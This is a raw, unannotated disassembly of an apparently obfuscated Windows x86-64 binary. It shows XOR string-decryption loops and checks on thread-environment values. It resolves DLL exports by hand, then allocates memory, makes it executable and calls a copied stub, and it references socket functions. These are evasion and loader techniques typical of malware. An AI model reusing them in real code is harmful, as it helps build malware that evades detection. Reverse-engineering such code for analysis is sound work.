cmp rax, rsi
jne 0x140046ea5
mov r8, rbx
mov ecx, 1
lea r9d, [rcx + 4]
mov r10d, 0xbd2ec3eb
mov rax, r10
cqo
idiv rcx
imul rax, rdx, 0x8cbe013
add r8, rax
mov rdi, qword gs:[7]
movzx eax, r8b
xor rdi, rax
inc rcx
sub r9, 1
jne 0x140046d9d
xor rdi, 0x232356cd
mov rcx, rdi
imul rcx, r10
movabs rax, 0xe9233b7ed02e08f
imul rcx
sar rdx, 0x19
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x232356cd
sub rcx, rax
xor rdi, r8
mov qword [rbp + 0xd38], rdi
mov rax, r8
mov r12d, 0xdeadbeef
or rax, r12
xor rax, rcx
mov qword [rbp + 0xd40], rax
xor rcx, rsi
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd48], rcx
mov edi, ebx
movabs r14, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, rsi
mov rax, r14
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd48]
and rdx, rax
mov rcx, qword [rbp + 0xd40]
and rcx, rdx
mov rax, qword [rbp + 0xd38]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140047501
inc edi
cmp edi, 7
jl 0x140046e3e
movdqa xmm0, xmmword [0x14010a070]
movdqu xmmword [rbp + 0x600], xmm0
mov byte [rbp + 0x610], 6
mov byte [rbp + 0x611], 0x7d
mov byte [rbp + 0x612], 0xdc
mov byte [rbp + 0x613], 0x9b
mov byte [rbp + 0x614], 0xa7
xor eax, eax
mov byte [rbp + 0x615], al
mov r8, rbx
lea r9d, [rax + 0x15]
movabs r10, 0x14e60439d9
movabs r11, 0x29cc0873b2
movabs r15, 0x8080808080808081
mov r14d, 0xfec33fb5
mov r12d, 0xfec33fb4
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r12
shr rdi, cl
mov rax, r15
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r15
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x600], dil
inc r8
add r10, r14
add r9, 0x15
cmp r10, r11
jb 0x140046f11
mov byte [rbp + 0x615], bl
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x600]
call fcn.140039734
mov rax, qword gs:[0xd]
cmp rax, rsi
movabs r14, 0x2aaaaaaaaaaaaaab
jne 0x1400470db
mov r10d, 0x9e0d9526
mov rdi, rbx
mov r8d, ebx
mov r9, rsi
mov r12d, 0xffafffef
mov edx, 0x232356cd
mov ecx, r8d
sar rdx, cl
mov rax, rsi
shl rax, cl
or rdx, rax
xor r10, rdx
mov rax, r14
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, r12
xor rcx, rax
add rdi, rcx
inc r8d
inc r9
cmp r8d, 8
jl 0x140046fb7
mov rcx, rdi
xor rcx, r10
mov rax, rdi
xor rax, rcx
mov qword [rbp + 0xd38], rax
add rcx, rsi
mov rax, r14
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r12d, 0xdeadbeef
or rax, r12
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd40], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd48], rdi
mov edi, ebx
movsxd rcx, edi
add rcx, rsi
mov rax, r14
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd48]
xor rdx, rax
mov rcx, qword [rbp + 0xd40]
xor rcx, rdx
mov rax, qword [rbp + 0xd38]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14004750c
inc edi
cmp edi, 5
jl 0x140047074
mov rax, qword [rbp + 0xbf8]
mov qword [rsp + 0x60], rax
cmp qword [0x14011d6a0], rbx
jne 0x140047111
mov ecx, 0x26b0
call fcn.1400c8b98
test rax, rax
je 0x140047111
mov qword [rax], rbx
mov qword [rax + 8], 0x19c
mov qword [0x14011d6a0], rax
mov qword [rbp + 0xbf0], rbx
mov qword [rbp + 0xe50], 0x1000
movdqa xmm0, xmmword [0x14010a150]
movdqu xmmword [rbp + 0x678], xmm0
mov byte [rbp + 0x688], 0x50
mov byte [rbp + 0x689], 0x61
mov byte [rbp + 0x68a], Ordinal_217
mov byte [rbp + 0x68b], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x68c], Ordinal_211
mov byte [rbp + 0x68d], Ordinal_41
mov byte [rbp + 0x68e], WSAGetLastError
xor eax, eax
mov byte [rbp + 0x68f], al
mov rdi, rbx
movabs r15, 0xca8495ff84371
mov qword [rsp + 0x20], r15
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x678]
lea rcx, [rbp + 0x678]
call fcn.1400513dc
xor al, dil
mov byte [rbp + rdi + 0x678], al
inc rdi
cmp rdi, 0x17
jb 0x140047179
mov byte [rbp + 0x68f], bl
mov rsi, qword [0x14011d6a0]
test rsi, rsi
je 0x140047296
mov r15, qword [rsi]
mov rcx, qword [rsi + 8]
cmp r15, rcx
jl 0x140047248
lea rax, [rcx + rcx*2]
lea r13, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400c8b98
mov r14, rax
test rax, rax
je 0x14004728c
mov qword [rax], r15
mov qword [rax + 8], rdi
mov rdi, qword [0x14011d6a0]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r13
call fcn.1400e40e0
lea r8, [r13 + 0x10]
xor edx, edx
mov rcx, rsi
call fcn.1400e4780
mov rcx, rdi
call fcn.1400c8a74
mov qword [0x14011d6a0], r14
mov rsi, r14
lea rax, [rbp + 0x678]
mov qword [rbp + 0xde8], rax
mov qword [rbp + 0xdf0], Ordinal_33
mov byte [rbp + 0xdf8], bl
lea rax, [r15 + r15*2]
movups xmm0, xmmword [rbp + 0xde8]
movups xmmword [rsi + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xdf8]
movsd qword [rsi + rax*8 + 0x20], xmm1
lea rax, [r15 + 1]
mov qword [rsi], rax
movabs r15, 0xca8495ff84371
mov byte [rbp + 0x130], 0x7a
mov byte [rbp + 0x131], 0x5c
mov byte [rbp + 0x132], 1
mov byte [rbp + 0x133], 0x84
mov byte [rbp + 0x134], 0x90
mov byte [rbp + 0x135], Ordinal_33
mov byte [rbp + 0x136], 0xe5
mov byte [rbp + 0x137], 0xe3
mov byte [rbp + 0x138], 0x88
xor eax, eax
mov byte [rbp + 0x139], al
mov rdi, rbx
mov qword [rsp + 0x20], r15
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x130]
lea rcx, [rbp + 0x130]
call fcn.14005127c
xor al, dil
mov byte [rbp + rdi + 0x130], al
inc rdi
cmp rdi, 9
jb 0x1400472e0
mov byte [rbp + 0x139], bl
mov rsi, qword [0x14011d6a0]
test rsi, rsi
je 0x1400473f4
mov r15, qword [rsi]
mov rcx, qword [rsi + 8]
cmp r15, rcx
jl 0x1400473af
lea rax, [rcx + rcx*2]
lea r13, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400c8b98
mov r14, rax
test rax, rax
je 0x1400473f4
mov qword [rax], r15
mov qword [rax + 8], rdi
mov rdi, qword [0x14011d6a0]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r13
call fcn.1400e40e0
lea r8, [r13 + 0x10]
xor edx, edx
mov rcx, rsi
call fcn.1400e4780
mov rcx, rdi
call fcn.1400c8a74
mov qword [0x14011d6a0], r14
mov rsi, r14
lea rax, [rbp + 0x130]
mov qword [rbp + 0xde8], rax
mov eax, 0xa
mov qword [rbp + 0xdf0], rax
mov byte [rbp + 0xdf8], bl
lea rax, [r15 + r15*2]
movups xmm0, xmmword [rbp + 0xde8]
movups xmmword [rsi + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xdf8]
movsd qword [rsi + rax*8 + 0x20], xmm1
lea rax, [r15 + 1]
mov qword [rsi], rax
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x130]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x140047489
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140047489
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140047489
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140047489
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov esi, dword [rax + 0x24]
add rsi, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, rbx
mov r14d, dword [rax + 0x18]
test r14, r14
je 0x140047489
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x678]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140047478
inc rax
test edi, edi
jne 0x140047463
test r8d, r8d
je 0x140047517
inc rdx
cmp rdx, r14
jb 0x140047452
mov r15d, ebx
mov rdi, qword [0x14011d6a0]
mov r12, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r13, [rcx*8 + 0x10]
mov r14d, ebx
test r12, r12
jle 0x1400476e9
lea rsi, [rdi + 0x10]
movups xmm1, xmmword [rsi]
movsd xmm0, qword [rsi + 0x10]
movsd qword [rbp + 0xdf8], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x1400476d6
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x1400476d6
mov al, byte [rbp + 0xdf8]
test al, al
jne 0x14004769d
xor edx, edx
call fcn.1400e4780
jmp 0x1400476d6
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
movzx eax, word [rsi + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140047489
mov r15d, dword [rdx + 4]
test r15d, r15d
js 0x140047489
mov r13d, 4
mov r9d, r13d
mov r8d, 0x3000
mov r12d, 0x1000
mov edx, r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
call fcn.1400b9bec
or dword [rbp + 0x20d14], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x1f990]
call fcn.14005219c
lea rcx, [rbp + 0x1f990]
call fcn.140051490
mov r14d, eax
movabs rax, 0xc0906c513cedb3
mul r14
mov ecx, r14d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r14, rax
mov rdi, rbx
lea rcx, [rbp + 0x1f990]
call fcn.140051490
mov eax, eax
mov qword [rbp + rdi*8 + 0x2a510], rax
inc rdi
cmp rdi, 0x200
jl 0x1400475b1
mov r8, r12
lea rdx, [rbp + 0x2a510]
mov rcx, rsi
call fcn.1400e40e0
mov dword [0x140119a74], r15d
lea rdi, [r14 + rsi]
movsd xmm0, qword [0x140119a70]
movsd qword [rdi], xmm0
movzx eax, word [0x140119a78]
mov word [rdi + 8], ax
mov al, byte [0x140119a7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xdb4], ebx
lea r9, [rbp + 0xdb4]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0xe50]
xor r8d, r8d
lea rdx, [rbp + 0xbf0]
mov rcx, qword [rsp + 0x60]
call rdi
mov r15d, eax
lea r9, [rbp + 0xdb4]
mov r8d, dword [rbp + 0xdb4]
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, r12
xor edx, edx
mov rcx, rsi
call fcn.1400e4780
mov edx, listen
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140119a74], ebx
jmp 0x14004748c
cmp al, 1
jne 0x1400476d6
mov rdx, rcx
lea rcx, [rbp + 0xed0]
call fcn.140051adc
xor edx, edx
lea rcx, [rbp + 0xed0]
call fcn.140052068
lea rcx, [rbp + 0xed0]
call fcn.140051ff8
lea rcx, [rbp + 0xed0]
call fcn.140005ad8
inc r14d
add rsi, 0x18
movsxd rax, r14d
cmp rax, r12
jl 0x1400474b6
mov r8, r13
xor edx, edx
mov rcx, rdi
call fcn.1400e4780
mov rcx, rdi
call fcn.1400c8a74
mov qword [0x14011d6a0], rbx
test r15d, r15d
jns 0x140047713
mov r13, rbx
mov qword [rbp], rbx
jmp 0x140047727
mov r13, qword [rbp + 0xbf0]
mov qword [rbp], r13
test r13, r13
jne 0x140047a2e
mov rax, qword gs:[0xd]
mov esi, 0xdb9fe8e7
cmp rax, rsi
jne 0x140047864
mov rdi, rbx
mov ecx, 1
lea r9d, [rcx + 4]
mov r10d, 0xbd2ec3eb
mov rax, r10
cqo
idiv rcx
imul rax, rdx, 0x8cbe013
add rdi, rax
mov r8, qword gs:[7]
movzx eax, dil
xor r8, rax
inc rcx
sub r9, 1
jne 0x140047750
xor r8, 0x232356cd
mov rcx, r8
imul rcx, r10
movabs rax, 0xe9233b7ed02e08f
imul rcx
sar rdx, 0x19
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x232356cd
sub rcx, rax
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd38], rax
mov rax, rdi
mov r15d, 0xdeadbeef
or rax, r15
xor rax, rcx
mov qword [rbp + 0xd40], rax
xor rcx, rsi
or rcx, rdi
xor rcx, rdi
xor rcx, 0xbadf00d
mov qword [rbp + 0xd48], rcx
mov edi, ebx
movabs r14, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, rsi
mov rax, r14
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd38]
and rdx, rax
mov rcx, qword [rbp + 0xd48]
and rcx, rdx
mov rax, qword [rbp + 0xd40]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140047859
inc edi
cmp edi, 7
jl 0x1400477f4
jmp 0x14004786e
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
movabs r14, 0x2aaaaaaaaaaaaaab
movdqa xmm0, xmmword [0x14010a030]
movdqu xmmword [rbp + 0x8e0], xmm0
movdqa xmm1, xmmword [0x140109e70]
movdqu xmmword [rbp + 0x8f0], xmm1
mov rdi, rbx
mov r15d, 0xfec33fb4
mov qword [rsp + 0x20], r15
mov r9d, Ordinal_33
mov r8, rdi
mov dl, byte [rbp + rdi + 0x8e0]
lea rcx, [rbp + 0x8e0]
call fcn.140050ea4
xor al, dil
mov byte [rbp + rdi + 0x8e0], al
inc rdi
cmp rdi, 0x1f
jb 0x140047897
mov byte [rbp + 0x8ff], bl
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x8e0]
call fcn.140039734
mov rax, qword gs:[0xd]
cmp rax, rsi
jne 0x140047a2e
mov r10d, 0x9e0d9526
mov rdi, rbx
mov r8d, ebx
mov r9, rsi
mov r15d, 0xffafffef
mov ecx, r8d
mov rdx, rsi
shl rdx, cl
mov eax, 0x232356cd
sar rax, cl
or rdx, rax
xor r10, rdx
mov rax, r14
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, r15
xor rcx, rax
add rdi, rcx
inc r8d
inc r9
cmp r8d, 8
jl 0x14004790a
mov rcx, rdi
xor rcx, r10
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd38], rax
add rcx, rsi
mov rax, r14
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r15d, 0xdeadbeef
or rax, r15
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd40], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd48], rdi
mov edi, ebx
movsxd rcx, edi
add rcx, rsi
mov rax, r14
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd48]
xor rdx, rax
mov rcx, qword [rbp + 0xd40]
xor rcx, rdx
mov rax, qword [rbp + 0xd38]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140048112
inc edi
cmp edi, 5
jl 0x1400479c7
movabs rax, 0xfc7aeea332188
mov qword [rbp + 0x1050], rax
movabs rax, 0xd9938cff1332a
mov qword [rbp + 0x1058], rax
lea rax, [r13 + 0x28]
mov qword [rbp + 0x1060], rax
mov rsi, qword [rbp - 0x18]
mov qword [rbp + 0x1068], rsi
mov rax, qword [rbp + 0x50]
mov eax, dword [rax + 0x50]
mov qword [rbp + 0x1070], rax
mov r15d, dword [rsp + 0x68]
mov qword [rbp + 0x58], r15
movabs r12, 0xa9ff9483ccaeddf
mov qword [rbp - 8], r12
mov qword [rbp + 0xe48], rbx
mov r8d, ebx
mov rdi, rbx
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rbp + rdi + 0x58]
imul ecx, eax
movzx eax, byte [rbp + rdi - 8]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xe48], cl
inc rdi
cmp r8d, 8
jb 0x140047a98
mov esi, ebx
mov rax, rbx
lea r11, [rbp + 0x1050]
movabs r12, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xe48]
mov r10b, dil
xor r10b, 0x28
mov r14d, edi
mov r8d, ebx
lea r9, [rbp + 0xe48]
movzx ecx, byte [r9]
movzx eax, dil
add rcx, rax
xor rcx, qword [rbp + 0xe48]
mov rax, r12
imul rcx
add rdx, rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
mov rdi, rcx
sub rdi, rax
inc r8d
inc r9
cmp r8d, 8
jb 0x140047b0e
movzx ecx, r10b
add ecx, r14d
movzx eax, dil
add ecx, eax
mov r14d, 0x80808081
mov eax, r14d
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
add cl, byte [r11]
xor cl, dil
mov byte [r11], cl
inc esi
inc r11
movsxd rax, esi
cmp rax, 0x28
jb 0x140047aef
mov qword [rbp + 0x18], r15
movabs r12, 0xa9ff9483ccaeddf
mov qword [rbp + 0x48], r12
mov qword [rbp + 0xe40], rbx
mov r8d, ebx
mov rdi, rbx
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rbp + rdi + 0x18]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0x48]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xe40], cl
inc rdi
cmp r8d, 8
jb 0x140047bad
mov r11d, ebx
mov rax, rbx
lea r10, [rbp + 0x28400]
movabs r13, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xe40]
mov r9b, dil
xor r9b, 5
mov esi, edi
mov ecx, ebx
lea r8, [rbp + 0xe40]
movzx edi, dil
movzx eax, byte [r8]
add rdi, rax
xor rdi, qword [rbp + 0xe40]
mov rax, r13
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
inc ecx
inc r8
cmp ecx, 8
jb 0x140047c22
movzx ecx, dil
add ecx, esi
movzx eax, r9b
add ecx, eax
mov eax, r14d
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
add cl, byte [r10]
xor cl, dil
mov byte [r10], cl
inc r11d
inc r10
movsxd rax, r11d
cmp rax, 0x104
jb 0x140047c05
mov r12, qword [rbp + 0xbf8]
movdqa xmm0, xmmword [0x140109ee0]
movdqu xmmword [rbp + 0x3f0], xmm0
mov byte [rbp + 0x400], Ordinal_79
mov byte [rbp + 0x401], 0xa5
mov byte [rbp + 0x402], 0x9b
mov byte [rbp + 0x403], 0xf9
xor eax, eax
mov byte [rbp + 0x404], al
mov rdi, rbx
mov r13, qword [rbp]
mov esi, 0xfec33fb4
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_sendto
mov r8, rdi
mov dl, byte [rbp + rdi + 0x3f0]
lea rcx, [rbp + 0x3f0]
call fcn.140050dc8
xor al, dil
mov byte [rbp + rdi + 0x3f0], al
inc rdi
cmp rdi, 0x14
jb 0x140047ce0
mov byte [rbp + 0x404], bl
mov byte [rbp + 0x140], 0xa6
mov byte [rbp + 0x141], 0x75
mov byte [rbp + 0x142], 0x5a
mov byte [rbp + 0x143], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x144], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x145], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x146], 0x9e
mov byte [rbp + 0x147], 0x58
mov byte [rbp + 0x148], 0xb2
xor eax, eax
mov byte [rbp + 0x149], al
mov rdi, rbx
mov qword [rsp + 0x20], rsi
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x140]
lea rcx, [rbp + 0x140]
call fcn.140050c1c
xor al, dil
mov byte [rbp + rdi + 0x140], al
inc rdi
cmp rdi, 9
jb 0x140047d64
mov byte [rbp + 0x149], bl
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
mov r15d, 0x5a4d
test rax, rax
je 0x140047e35
cmp word [rax], r15w
jne 0x140047e35
mov r12d, ebx
mov r13, qword [rbp + 0xbf8]
movdqa xmm0, xmmword [0x140109ee0]
movdqu xmmword [rbp + 0x408], xmm0
mov byte [rbp + 0x418], Ordinal_79
mov byte [rbp + 0x419], 0xa5
mov byte [rbp + 0x41a], 0x9b
mov byte [rbp + 0x41b], 0xf9
xor eax, eax
mov byte [rbp + 0x41c], al
mov rdi, rbx
mov esi, 0xfec33fb4
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_sendto
mov r8, rdi
mov dl, byte [rbp + rdi + 0x408]
lea rcx, [rbp + 0x408]
call fcn.140050dc8
xor al, dil
mov byte [rbp + rdi + 0x408], al
inc rdi
cmp rdi, 0x14
jb 0x140047e7b
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3